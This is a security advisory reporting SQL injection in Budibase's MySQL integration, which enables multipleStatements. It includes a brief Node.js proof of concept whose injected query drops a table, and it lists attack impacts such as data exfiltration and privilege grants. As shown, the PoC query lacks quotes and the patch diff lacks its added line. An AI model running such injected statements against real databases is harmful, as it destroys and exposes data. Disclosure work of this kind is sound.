GHSA-q6x4-v3qx-85qw: Budibase: SQL Injection via `multipleStatements: true`
Summary
A critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.
Details
Vulnerability Type
SQL Injection
Description
The MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.
Location
// File: packages/server/src/integrations/mysql.ts
// Line: 173
this.config = {
...config,
typeCast: defaultTypeCasting,
multipleStatements: true, // VULNERABLE
timezone: "Z",
}
Proof of Concept
Exploit
const mysql = require('mysql2');
// Budibase vulnerable configuration
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'password',
multipleStatements: true, // Vulnerable setting
timezone: "Z"
});
// Attack: Data destruction
connection.query(
SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --,
(err, results) => {
if (!err) console.log("Table dropped successfully");
}
);
Impact
- Data Destruction: Execute DROP TABLE, DELETE commands
- Data Theft: Exfiltrate data via SELECT INTO OUTFILE
- Privilege Escalation: Grant database admin privileges
- Denial of Service: Disrupt service operations
- Complete Database Compromise: Full control over database
Remediation
Patch
--- a/packages/server/src/integrations/mysql.ts
+++ b/packages/server/src/integrations/mysql.ts
@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {
this.config = {
...config,
typeCast: defaultTypeCasting,
- multipleStatements: true,
- multipleStatements: false,
timezone: "Z",
}
}
Workarounds
1. Temporarily disable MySQL integration
2. Implement web application firewall (WAF)
3. Restrict database user privileges
Details
Original advisory: https://github.com/advisories/GHSA-q6x4-v3qx-85qw
More from GitHub Security Advisories
- mediumGHSA-jr6p-8pjj-mfx6: Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators s…2026-07-31
- mediumGHSA-68cj-mvg9-rgm2: Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing…2026-07-31
- mediumGHSA-ff84-5f28-78qj: re2: Out-of-bounds heap read in `exec`/`test`/`match` via attacker-influenced `lastIndex`…2026-07-31
- mediumGHSA-6hxr-mr5r-9836: re2: Global `String.prototype.match` with an empty-matchable pattern never advances → inf…2026-07-31
- mediumGHSA-x83g-979r-f5fh: Sylius Mollie Plugin has unauthenticated IDOR that leaks order token and customer PII2026-07-31